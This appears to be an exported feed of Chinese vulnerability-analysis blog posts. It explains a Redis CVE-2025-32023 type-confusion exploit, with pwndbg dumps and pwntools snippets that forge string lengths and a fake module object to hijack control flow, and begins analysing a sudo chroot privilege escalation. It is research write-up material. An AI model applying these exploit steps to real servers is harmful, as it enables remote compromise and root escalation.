SDS_HDR(<span class="number">32</span>,s)-&gt;len;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_64:</span><br><span class="line">            <span class="keyword">return</span> SDS_HDR(<span class="number">64</span>,s)-&gt;len;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>例如正常情况下， 我们使用 setrange 长度为<code>0x37fa-8</code>长度， 此时长度小于 65535 ,  根据函数<code>sdsReqType</code> 创建出来的 sds 数据，其 <code>flags</code> 位置应该是 2 （SDS_TYPE_16）</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">//func sdsnewlen()-&gt; _sdsnewlen() -&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">inline</span> <span class="keyword">char</span> <span class="title">sdsReqType</span><span class="params">(<span class="keyword">size_t</span> string_size)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (string_size &lt; <span class="number">1</span>&lt;&lt;<span class="number">5</span>)</span><br><span class="line">        <span class="keyword">return</span> SDS_TYPE_5;</span><br><span class="line">    <span class="keyword">if</span> (string_size &lt; <span class="number">1</span>&lt;&lt;<span class="number">8</span>)</span><br><span class="line">        <span class="keyword">return</span> SDS_TYPE_8;</span><br><span class="line">    <span class="keyword">if</span> (string_size &lt; <span class="number">1</span>&lt;&lt;<span class="number">16</span>)</span><br><span class="line">        <span class="keyword">return</span> SDS_TYPE_16;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> (LONG_MAX == LLONG_MAX)</span></span><br><span class="line">    <span class="keyword">if</span> (string_size &lt; <span class="number">1ll</span>&lt;&lt;<span class="number">32</span>)</span><br><span class="line">        <span class="keyword">return</span> SDS_TYPE_32;</span><br><span class="line">    <span class="keyword">return</span> SDS_TYPE_64;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">    <span class="keyword">return</span> SDS_TYPE_32;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后在 <code>_sdsnewlen</code> 函数中完成对 sds 结构的初始化</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">sds _sdsnewlen(<span class="keyword">const</span> <span class="keyword">void</span> *init, <span class="keyword">size_t</span> initlen, <span class="keyword">int</span> trymalloc) &#123;</span><br><span class="line">    <span class="keyword">char</span> type = sdsReqType(initlen);</span><br><span class="line">    <span class="comment">/* Empty strings are usually created in order to append. Use type 8</span></span><br><span class="line"><span class="comment">     * since type 5 is not good at this. */</span></span><br><span class="line">    <span class="keyword">if</span> (type == SDS_TYPE_5 &amp;&amp; initlen == <span class="number">0</span>) type = SDS_TYPE_8;</span><br><span class="line">    <span class="keyword">int</span> hdrlen = sdsHdrSize(type);</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">char</span> *fp; <span class="comment">/* flags pointer. */</span></span><br><span class="line">    <span class="keyword">size_t</span> usable;</span><br><span class="line">    ...</span><br><span class="line">    s = (<span class="keyword">char</span>*)sh+hdrlen;</span><br><span class="line">    fp = ((<span class="keyword">unsigned</span> <span class="keyword">char</span>*)s)<span class="number">-1</span>;</span><br><span class="line">    ...</span><br><span class="line"><span class="keyword">switch</span>(type) &#123;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_5: &#123;</span><br><span class="line">            *fp = type | (initlen &lt;&lt; SDS_TYPE_BITS);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_8: &#123;</span><br><span class="line">            SDS_HDR_VAR(<span class="number">8</span>,s);</span><br><span class="line">            sh-&gt;len = initlen;</span><br><span class="line">            sh-&gt;alloc = usable;</span><br><span class="line">            *fp = type;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_16: &#123;</span><br><span class="line">            SDS_HDR_VAR(<span class="number">16</span>,s);</span><br><span class="line">            sh-&gt;len = initlen;</span><br><span class="line">            sh-&gt;alloc = usable;</span><br><span class="line">            *fp = type;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_32: &#123;</span><br><span class="line">            SDS_HDR_VAR(<span class="number">32</span>,s);</span><br><span class="line">            sh-&gt;len = initlen;</span><br><span class="line">            sh-&gt;alloc = usable;</span><br><span class="line">            *fp = type;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_64: &#123;</span><br><span class="line">            SDS_HDR_VAR(<span class="number">64</span>,s);</span><br><span class="line">            sh-&gt;len = initlen;</span><br><span class="line">            sh-&gt;alloc = usable;</span><br><span class="line">            *fp = type;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (initlen &amp;&amp; init)</span><br><span class="line">        <span class="built_in">memcpy</span>(s, init, initlen);</span><br><span class="line">    s[initlen] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">    <span class="keyword">return</span> s;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在内存中可以看到</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; p/x <span class="number">0x8c</span> &amp; <span class="number">0x3</span></span><br><span class="line">$<span class="number">106</span> = <span class="number">0x0</span></span><br><span class="line">pwndbg&gt; p idx</span><br><span class="line">$<span class="number">107</span> = <span class="number">-38252</span></span><br><span class="line">pwndbg&gt; p idx*<span class="number">6</span>/<span class="number">8</span></span><br><span class="line">$<span class="number">108</span> = <span class="number">-28689</span></span><br><span class="line">pwndbg&gt; p hdr-&gt;registers</span><br><span class="line">$<span class="number">109</span> = <span class="number">0x7ffff797d015</span> <span class="string">&quot;&quot;</span></span><br><span class="line">pwndbg&gt;</span><br><span class="line">pwndbg&gt; x/<span class="number">20b</span>x <span class="number">0x7ffff7976000</span></span><br><span class="line"><span class="number">0x7ffff7976000</span>: <span class="number">0xfa</span>    <span class="number">0x37</span>    <span class="number">0xfa</span>    <span class="number">0x37</span>    <span class="number">0x02</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span></span><br><span class="line"><span class="number">0x7ffff7976008</span>: <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span></span><br><span class="line"><span class="number">0x7ffff7976010</span>: <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span></span><br><span class="line"></span><br><span class="line">pwndbg&gt; x/<span class="number">20b</span>x  <span class="number">0x7ffff7976000</span>+<span class="number">0x37fa</span><span class="number">-8</span></span><br><span class="line"><span class="number">0x7ffff79797f2</span>: <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x00</span>    <span class="number">0x42</span>    <span class="number">0x42</span>    <span class="number">0x42</span></span><br><span class="line"><span class="number">0x7ffff79797fa</span>: <span class="number">0x42</span>    <span class="number">0x42</span>    <span class="number">0x42</span>    <span class="number">0x42</span>    <span class="number">0x42</span>    <span class="number">0x00</span>    <span class="number">0xfa</span>    <span class="number">0x37</span></span><br><span class="line"><span class="number">0x7ffff7979802</span>: <span class="number">0xfa</span>    <span class="number">0x37</span>    <span class="number">0x02</span>    <span class="number">0x00</span></span><br><span class="line">pwndbg&gt;</span><br><span class="line">pwndbg&gt; p/x *(struct sdshdr16 *)<span class="number">0x7ffff7976000</span></span><br><span class="line">$<span class="number">104</span> = &#123;</span><br><span class="line">  len = <span class="number">0x37fa</span>,</span><br><span class="line">  alloc = <span class="number">0x37fa</span>,</span><br><span class="line">  flags = <span class="number">0x2</span>,</span><br><span class="line">  buf = <span class="number">0x7ffff7976005</span></span><br><span class="line">&#125;</span><br><span class="line">pwndbg&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>由于 <code>sdslen</code> 函数取 sds 长度，是先根据不同的 flags， 然后再根据这个 flags 取计算这个 sds 的header 长度， 然后以当前地址减去 header长度取 len 这个变量</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">inline</span> <span class="keyword">size_t</span> <span class="title">sdslen</span><span class="params">(<span class="keyword">const</span> sds s)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">char</span> flags = s[<span class="number">-1</span>];</span><br><span class="line">    <span class="keyword">switch</span>(flags&amp;SDS_TYPE_MASK) &#123;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_5:</span><br><span class="line">            <span class="keyword">return</span> SDS_TYPE_5_LEN(flags);</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_8:</span><br><span class="line">            <span class="keyword">return</span> SDS_HDR(<span class="number">8</span>,s)-&gt;len;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_16:</span><br><span class="line">            <span class="keyword">return</span> SDS_HDR(<span class="number">16</span>,s)-&gt;len;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_32:</span><br><span class="line">            <span class="keyword">return</span> SDS_HDR(<span class="number">32</span>,s)-&gt;len;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_64:</span><br><span class="line">            <span class="keyword">return</span> SDS_HDR(<span class="number">64</span>,s)-&gt;len;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> __<span class="title">attribute__</span> ((__<span class="title">packed__</span>)) <span class="title">sdshdr16</span> &#123;</span></span><br><span class="line">    <span class="keyword">uint16_t</span> len; <span class="comment">/* used */</span></span><br><span class="line">    <span class="keyword">uint16_t</span> alloc; <span class="comment">/* excluding the header and null terminator */</span></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">char</span> flags; <span class="comment">/* 3 lsb of type, 5 unused bits */</span></span><br><span class="line">    <span class="keyword">char</span> buf[];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> __<span class="title">attribute__</span> ((__<span class="title">packed__</span>)) <span class="title">sdshdr64</span> &#123;</span></span><br><span class="line">    <span class="keyword">uint64_t</span> len; <span class="comment">/* used */</span></span><br><span class="line">    <span class="keyword">uint64_t</span> alloc; <span class="comment">/* excluding the header and null terminator */</span></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">char</span> flags; <span class="comment">/* 3 lsb of type, 5 unused bits */</span></span><br><span class="line">    <span class="keyword">char</span> buf[];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>而 <code>sdshdr64</code> 和<code>sdshdr16</code> 的结构体 大小不一样，因此如果将 <code>sds16</code>的 flags 改成 <code>SDS_TYPE_64</code> , 将为从上一个内存中取一个值作为 sds的长度 （造成一个类似类型混淆的效果） </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">fakelen &#x3D; 0x4142434445464748</span><br><span class="line"> </span><br><span class="line">r.setrange(&#39;sds:aa&#39;, 0x37fa - 11, p64(fakelen))  # sds @ 0x0005, p64() 00 00 00 00 </span><br><span class="line">r.setrange(&#39;sds:bb&#39;, 0x37fa - 8, b&#39;B&#39;*8)         # sds @ 0x3805, ................. fa 37 fa 37 02 ~</span><br></pre></td></tr></table></figure><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-12-95209fbc6852fb89f57affe6eb949558-01f569.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-12-95209fbc6852fb89f57affe6eb949558-01f569.png" alt="image.png"></a></p><p>例如下面的这样的一个效果</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; p&#x2F;x *(struct sdshdr16 *)0x7ffff7976000</span><br><span class="line">$115 &#x3D; &#123;</span><br><span class="line">  len &#x3D; 0x37fa,</span><br><span class="line">  alloc &#x3D; 0x37fa,</span><br><span class="line">  flags &#x3D; 0x2,</span><br><span class="line">  buf &#x3D; 0x7ffff7976005</span><br><span class="line">&#125;</span><br><span class="line">pwndbg&gt; p&#x2F;x *(struct sdshdr64 *)(0x7ffff7976000-11)</span><br><span class="line">$116 &#x3D; &#123;</span><br><span class="line">  len &#x3D; 0x41424344454647,</span><br><span class="line">  alloc &#x3D; 0x237fa37fa000000,</span><br><span class="line">  flags &#x3D; 0x0,</span><br><span class="line">  buf &#x3D; 0x7ffff7976006</span><br><span class="line">&#125;</span><br><span class="line">pwndbg&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>当从 <code>sdshder16</code> 被当成 <code>sdshdr64</code> 后， <code>sds:b</code> 的长度就变成了上一个内存的一个可控制， 作者是将这个值设置成<code>0x41424344454647</code>。 这样当我们就可以将这个<code>sds:b</code> 当作一个很长的字符串进行操作。作者后面的思路是在内存后喷一堆 embstr， 然后取读取 <code>sds:b</code> 的内容 。 由于此时 sds:b 长度很长，因此读取这个字符串的时候能读书很多的数据，可以读到内存后面很多的东西，这样就可以做 info leak。</p><p>然后通过写 <code>sds:b</code> 字符串到操作，在内存中伪造了一个 type 为 Modules 的 Object</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># fake module object</span><br><span class="line">pl &#x3D; p8(0x05) + dump[tofs+1:tofs+4]   # type, encoding, lru</span><br><span class="line">pl +&#x3D; p32(1)                          # refcount</span><br><span class="line">pl +&#x3D; p64(badr + 0x10)                # ptr</span><br><span class="line">r.setrange(&#39;sds:bb&#39;, tofs+3, pl)</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">RedisModuleType</span> &#123;</span></span><br><span class="line">    <span class="keyword">uint64_t</span> id; <span class="comment">/* Higher 54 bits of type ID + 10 lower bits of encoding ver. */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">RedisModule</span> *<span class="title">module</span>;</span></span><br><span class="line">    moduleTypeLoadFunc rdb_load;</span><br><span class="line">    moduleTypeSaveFunc rdb_save;</span><br><span class="line">    moduleTypeRewriteFunc aof_rewrite;</span><br><span class="line">    moduleTypeMemUsageFunc mem_usage;</span><br><span class="line">    moduleTypeDigestFunc digest;</span><br><span class="line">    moduleTypeFreeFunc <span class="built_in">free</span>;</span><br><span class="line">    moduleTypeFreeEffortFunc free_effort;</span><br><span class="line">    moduleTypeUnlinkFunc unlink;</span><br><span class="line">    moduleTypeCopyFunc copy;</span><br><span class="line">    moduleTypeDefragFunc defrag;</span><br><span class="line">    moduleTypeAuxLoadFunc aux_load;</span><br><span class="line">    moduleTypeAuxSaveFunc aux_save;</span><br><span class="line">    moduleTypeMemUsageFunc2 mem_usage2;</span><br><span class="line">    moduleTypeFreeEffortFunc2 free_effort2;</span><br><span class="line">    moduleTypeUnlinkFunc2 unlink2;</span><br><span class="line">    moduleTypeCopyFunc2 copy2;</span><br><span class="line">    moduleTypeAuxSaveFunc aux_save2;</span><br><span class="line">    <span class="keyword">int</span> aux_save_triggers;</span><br><span class="line">    <span class="keyword">char</span> name[<span class="number">10</span>]; <span class="comment">/* 9 bytes name + null term. Charset: A-Z a-z 0-9 _- */</span></span><br><span class="line">&#125; moduleType;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">freeModuleObject</span><span class="params">(robj *o)</span> </span>&#123;</span><br><span class="line">    moduleValue *mv = o-&gt;ptr;</span><br><span class="line">    mv-&gt;type-&gt;<span class="built_in">free</span>(mv-&gt;value);</span><br><span class="line">    zfree(mv);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过需改 <code>type-&gt;free</code> 来控制 PC</p><h2 id="完整的利用流程"><a href="#完整的利用流程" class="headerlink" title="完整的利用流程"></a>完整的利用流程</h2><p>可以看 deepwiki 生成的这个流程图<sup id="fnref:4"><a href="#fn:4" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://deepwiki.com/leesh3288/CVE-2025-32023/2.2-six-stage-exploitation-methodology">[4]</span></a></sup></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-11-9df67aa6e235c5363cfae11b4eb03208-4a48ae.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-11-9df67aa6e235c5363cfae11b4eb03208-4a48ae.png" alt="image.png"></a></p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://redis.io/docs/latest/commands/pfmerge/<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://redis.io/docs/latest/operate/oss_and_stack/reference/internals/internals-sds/<a href="#fnref:2" rev="footnote"> ↩</a></span></li><li id="fn:3"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://github.com/leesh3288/CVE-2025-32023<a href="#fnref:3" rev="footnote"> ↩</a></span></li><li id="fn:4"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">4.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://deepwiki.com/leesh3288/CVE-2025-32023/2.2-six-stage-exploitation-methodology<a href="#fnref:4" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="redis" scheme="https://bestwing.me/tags/redis/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2025-36463 Sudo_chroot Elevation of Privilege 漏洞分析</title>
    <link href="https://bestwing.me/cve-2025-36463-sudo-chroot-elevation.html"/>
    <id>https://bestwing.me/cve-2025-36463-sudo-chroot-elevation.html</id>
    <published>2025-07-01T22:00:31.000Z</published>
    <updated>2026-02-07T05:48:02.243Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>startascale 6 月 30 日发布了几个 sudo 的提权漏洞，CVE-CVE-2025-32463<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot">[1]</span></a></sup> 是其中一个， 另外一个 CVE-2025-32462<sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://codebrowser.dev/glibc/glibc/nss/nss_database.c.html#nss_database_check_reload_and_get">[2]</span></a></sup> 需要一个特殊配置。</p><blockquote><p>该漏洞依赖于 Sudo 规则被限制在特定主机名或主机名模式的配置场景下。如果满足这些条件，权限提升到 root 无需任何漏洞利用（exploit）。</p></blockquote><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>CVE-2025-32463在Sudo v1.9.14（2023年6月）中引入（<a href="https://github.com/sudo-project/sudo/blob/SUDO_1_9_14/NEWS%EF%BC%89%EF%BC%8C%E5%9C%A8%E4%BD%BF%E7%94%A8chroot%E5%8A%9F%E8%83%BD%E6%97%B6%EF%BC%8C%E6%9B%B4%E6%96%B0%E4%BA%86%E5%91%BD%E4%BB%A4%E5%8C%B9%E9%85%8D%E5%A4%84%E7%90%86%E4%BB%A3%E7%A0%81%E3%80%82%E6%9C%AC%E6%96%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E7%9A%84sudo%E4%BB%A3%E7%A0%81">https://github.com/sudo-project/sudo/blob/SUDO_1_9_14/NEWS），在使用chroot功能时，更新了命令匹配处理代码。本文漏洞分析的sudo代码</a> commit 为： cb3355e9d4f66db642b9c0e9151423762504339b </p><p>该代码逻辑在， plugins/sudoers/sudoers.c 文件中的 <code>set_cmnd_path</code> 函数里，</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span></span><br><span class="line">set_cmnd_path(struct sudoers_context *ctx, <span class="keyword">const</span> <span class="keyword">char</span> *runchroot)</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">    <span class="comment">/* Pivot root. */</span></span><br><span class="line">    <span class="keyword">if</span> (runchroot != <span class="literal">NULL</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (!pivot_root(runchroot, &amp;pivot_state))</span><br><span class="line">    <span class="keyword">goto</span> error;</span><br><span class="line">    &#125;</span><br><span class="line">...</span><br><span class="line">ret = resolve_cmnd(ctx, cmnd_in, &amp;cmnd_out, path);</span><br><span class="line">...</span><br><span class="line"><span class="keyword">if</span> (runchroot != <span class="literal">NULL</span>)</span><br><span class="line">(<span class="keyword">void</span>)unpivot_root(&amp;pivot_state);</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>代码逻辑大致是:<br>    1. <code>pivot_root 函数进行 chroot     2. </code>resolve_cmnd<code>函数去进行命令的匹配查找路径     3. 最后</code>unpivot_root` chroot 回到原来的 root path</p><p>漏洞的发生点其实就是在 <code>pivot_root</code> 和 <code>unpivot_root</code> 之间，有代码逻辑去读取 <code>/etc/nsswitch.conf</code> 文件并进行了 <code>nss_database*</code> 的更新。</p><p>当我看到这个漏洞和代码的时候有一个直觉性的疑问， 如果在 chroot 后会进行 <code>/etc/nsswitch.conf</code> 的读取， 且读取的是 chroot 里的文件，那么为什么<code>unpivot_root</code> 后代码代码逻辑不会重新读取 <code>/etc/nsswitch.conf</code> 。 因此这个漏洞分析以两个疑问展开分析：</p><ol><li><code>pivot_root</code> 和 <code>unpivot_root</code>  之间什么操作导致会重新加载 <code>/etc/nsswitch.conf</code></li><li>为什么 <code>unpivot_root</code> 之后到加载恶意代码之前不会重新读取 <code>/etc/nsswitch.conf</code></li></ol><h3 id="nss-database-check-reload-and-get-分析"><a href="#nss-database-check-reload-and-get-分析" class="headerlink" title="nss_database_check_reload_and_get 分析"></a>nss_database_check_reload_and_get 分析</h3><p>对 <code>nss</code> 相关代码的简单追踪， 我们定位到 <code>nss_database_check_reload_and_get</code><sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://codebrowser.dev/glibc/glibc/nss/nss_database.c.html#nss_database_check_reload_and_get">[2]</span></a></sup> 会调用 <code>nss_database_reload</code> 函数进而打开 <code>/etc/nsswitch.conf</code> 配置文件</p><p>调用链如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">static bool nss_database_check_reload_and_get </span><br><span class="line">-&gt; static bool ss_database_reload </span><br><span class="line">-&gt; FILE *fp &#x3D; fopen (_PATH_NSSWITCH_CONF, &quot;rce&quot;);</span><br></pre></td></tr></table></figure><p>我们在 <code>pivot_root</code> 之后对 <code>nss_database_check_reload_and_get</code> 下个断点，此时 gdb 的backtrace 如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span 